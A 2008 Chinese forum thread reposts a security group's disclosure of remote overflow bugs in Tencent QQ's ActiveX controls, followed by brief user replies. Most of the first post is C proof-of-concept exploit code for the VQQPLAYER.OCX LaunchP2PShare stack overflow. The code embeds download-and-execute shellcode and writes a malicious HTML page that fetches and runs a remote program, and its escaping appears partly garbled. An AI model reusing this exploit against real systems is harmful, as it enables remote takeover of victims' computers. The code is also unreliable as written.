Title:
腾讯QQ发现多个远程溢出漏洞,可完全控制对方计算机
[Print this page]
Author:
搁浅
Time:
2008-2-5 00:09
Title:
腾讯QQ发现多个远程溢出漏洞,可完全控制对方计算机
以下内容跟帖回复才能看到
==============================
国内著名安全组织幻影PH4NT0M近日发布了多个QQ远程溢出执行漏洞,通过此漏洞可在对方计算机上执行任意程序,以达到完全控制对方计算机的目的.腾讯已发布了针对此漏洞的补丁.请各位立即升级到最新版本. Tencent QQ 多个远程溢出漏洞 by axis(axis_at_ph4nt0m.org)
http://www.ph4nt0m.org
摘要: QQ是由Tencent公司开发的一个IM软件,在中国有着非常广泛的用户。DSW Avert在200612.31发现了QQ的几个0day漏洞,并通知了QQ官方。QQ在2007.1.1进行了升级。事实上,在此之前,幻影旅团 (ph4nt0m)的axis就已经发现了这些漏洞,出于一些原因未曾公布,现在漏洞被公开了,所以将细节和可利用的POC公布如下: QQ的这几个漏洞,均是由于Activex Control造成的,相关dll分别是:VQQPLAYER.OCX,VQQsdl.dll,V2MailActiveX.ocx 其中有一个成功利用后,将可远程控制用户电脑,因为是activex的,所以只需要用户安装过QQ,甚至不需要其登录,就可以成功利用。 另外几个漏洞分别是拒绝服务漏洞,不可执行,在此不再赘述。 影响版本: Tencent QQ2006正式版及之前所有版本。(未升级2007.1.1补丁) 细节: 在VQQPLAYER.OCX中,由于程序员的粗心,存在一个栈溢出漏洞,在函数返回时,可以控制EIP。 漏洞存在的Method是LaunchP2PShare, ClassId是{AC3A36A8-9BFF-410A-A33D-2279FFEB69D2} 其原型是: [id(0x00000030)] VARIANT_BOOL LaunchP2PShare( BSTR szExeName, long nDuration); 第一个参数没有进行长度检查,为超长字符串时,将造成一个栈溢出。 幻影旅团将对此发布一个POC代码,请勿将此作为非法用途 POC: ---------------------------------------------------------------------------------------- #include #include #include FILE *fp = NULL; char *file = \\\"fuck_exp1.html\\\"; char *url = NULL; //Download Shellcode by swan@0x557 bypass防火墙 // 经axis@ph4n0m加入了恢复栈平衡,不挂ie unsigned char sc[] = \\\"x60x64xa1x30x00x00x00x8bx40x0cx8bx70x1cxadx8bx70\\\" \\\"x08x81xecx00x04x00x00x8bxecx56x68x8ex4ex0execxe8\\\" \\\"xffx00x00x00x89x45x04x56x68x98xfex8ax0exe8xf1x00\\\" \\\"x00x00x89x45x08x56x68x25xb0xffxc2xe8xe3x00x00x00\\\" \\\"x89x45x0cx56x68xefxcexe0x60xe8xd5x00x00x00x89x45\\\" \\\"x10x56x68xc1x79xe5xb8xe8xc7x00x00x00x89x45x14x40\\\" \\\"x80x38xc3x75xfax89x45x18xe9x08x01x00x00x5ex89x75\\\" \\\"x24x8bx45x04x6ax01x59x8bx55x18x56xe8x8cx00x00x00\\\" \\\"x50x68x36x1ax2fx70xe8x98x00x00x00x89x45x1cx8bxc5\\\" \\\"x83xc0x50x89x45x20x68xffx00x00x00x50x8bx45x14x6a\\\" \\\"x02x59x8bx55x18xe8x62x00x00x00x03x45x20xc7x00x5c\\\" \\\"x7ex2ex65xc7x40x04x78x65x00x00xffx75x20x8bx45x0c\\\" \\\"x6ax01x59x8bx55x18xe8x41x00x00x00x6ax07x58x03x45\\\" \\\"x24x33xdbx53x53xffx75x20x50x53x8bx45x1cx6ax05x59\\\" \\\"x8bx55x18xe8x24x00x00x00x6ax00xffx75x20x8bx45x08\\\" \\\"x6ax02x59x8bx55x18xe8x11x00x00x00x81xc4x00x04x00\\\" \\\"x00x61x81xc4xdcx04x00x00x5dxc2x24x00x41x5bx52x03\\\" \\\"xe1x03xe1x03xe1x03xe1x83xecx04x5ax53x8bxdaxe2xf7\\\" \\\"x52xffxe0x55x8bxecx8bx7dx08x8bx5dx0cx56x8bx73x3c\\\" \\\"x8bx74x1ex78x03xf3x56x8bx76x20x03xf3x33xc9x49x41\\\" \\\"xadx03xc3x56x33xf6x0fxbex10x3axf2x74x08xc1xcex0d\\\" \\\"x03xf2x40xebxf1x3bxfex5ex75xe5x5ax8bxebx8bx5ax24\\\" \\\"x03xddx66x8bx0cx4bx8bx5ax1cx03xddx8bx04x8bx03xc5\\\" \\\"x5ex5dxc2x08x00xe8xf3xfexffxffx55x52x4cx4dx4fx4e\\\" \\\"x00\\\"; char * header = \\\" \\\" \\\" \\\" \\\" \\\" \\\" \\\"; char * trigger = \\\" \\\" \\\" \\\" \\\" \\\" \\\" \\\" \\\" \\\"; // print unicode shellcode void PrintPayLoad(char *lpBuff, int buffsize) { int i; for(i=0;i{ if((i%16)==0) { if(i!=0) { printf(\\\"\\\" \\\"\\\"); fprintf(fp, \\\"%s\\\", \\\"\\\" + \\\"\\\"); } else { printf(\\\"\\\"\\\"); fprintf(fp, \\\"%s\\\", \\\"\\\"\\\"); } } printf(\\\"%%u%0.4x\\\",((unsigned short*)lpBuff)[i/2]); fprintf(fp, \\\"%%u%0.4x\\\",((unsigned short*)lpBuff)[i/2]); } //把shellcode打印在header后面,然后用 \\\" ) \\\" 闭合 printf(\\\"\\\"; \\\"); fprintf(fp, \\\"%s\\\", \\\"\\\"); \\\"); fflush(fp); } void main(int argc, char **argv) { unsigned char buf[1024] = {0}; int sc_len = 0; if (argc < 2) { printf(\\\"Tencent QQ VQQPlayer.ocx (all version) 0day! \\\"); printf(\\\"Bug Found by axis@ph4nt0m \\\"); printf(\\\"Date: 2006-12-27 \\\"); printf(\\\" Usage: %s [Local htmlfile] \\\", argv[0]); exit(1); } url = argv[1]; if( (!strstr(url, \\\"http://\\\") && !strstr(url, \\\"ftp://\\\")) || strlen(url) < 10) { printf(\\\"[-] Invalid url. Must start with 'http://','ftp://' \\\"); return; } printf(\\\"[+] download url:%s \\\", url); if(argc >=3) file = argv[2]; printf(\\\"[+] exploit file:%s \\\", file); fp = fopen(file, \\\"w\\\"); if(!fp) { printf(\\\"[-] Open file error! \\\"); return; } //build evil html file fprintf(fp, \\\"%s\\\", header); fflush(fp); memset(buf, 0, sizeof(buf)); sc_len = sizeof(sc)-1; memcpy(buf, sc, sc_len); memcpy(buf+sc_len, url, strlen(url)); sc_len += strlen(url)+1; PrintPayLoad((char *)buf, sc_len); fprintf(fp, \\\"%s\\\", footer); fflush(fp); fprintf(fp, \\\"%s\\\", trigger); fflush(fp); printf(\\\"[+] exploit write to %s success! \\\", file); } ---------------------------------------------------------------------------------------- 建议: 禁止ie执行activex
==============================
Author:
压缩冷空气
Time:
2008-2-5 00:17
可完全控制对方计算机 [s:3]
Author:
aini10000na
Time:
2008-2-5 00:46
[s:3]
Author:
168
Time:
2008-2-5 02:12
不怎么相信吖``
Author:
冰中微笑
Time:
2008-2-5 02:27
[s:2][s:2]
Author:
kristy3166
Time:
2008-2-5 02:33
不怎么相信吖``
Author:
搁浅
Time:
2008-2-5 09:41
看不懂的就算嘞,也不能逐步教你啊.这个已经很清楚了!!
Author:
龙驹
Time:
2008-2-5 09:42
what?
Author:
胖二
Time:
2008-2-7 10:48
真是麻烦啊!......
Author:
lijiannan
Time:
2008-2-7 18:20
[s:3] [s:3] [s:3] 我不会
Author:
dd400317dd
Time:
2008-2-7 19:31
不会额```
Author:
nihaoma1256
Time:
2008-2-7 21:46
谢谢楼主分享 [s:3]
Author:
lyx000
Time:
2008-2-7 21:52
可完全控制对方计算机 [s:3]
Author:
超级大懒猪
Time:
2008-2-7 22:22
[s:55] [s:55] [s:55] [s:3] [s:3] [s:3]
Author:
wz_wcc
Time:
2008-2-8 02:35
我不会
Author:
laotou_me
Time:
2008-2-8 13:00
是什么方法
Welcome AbyssalSwamp (http://cloud.caffz.com:12345/mud/AbyssalSwamp/index/)
caffz.com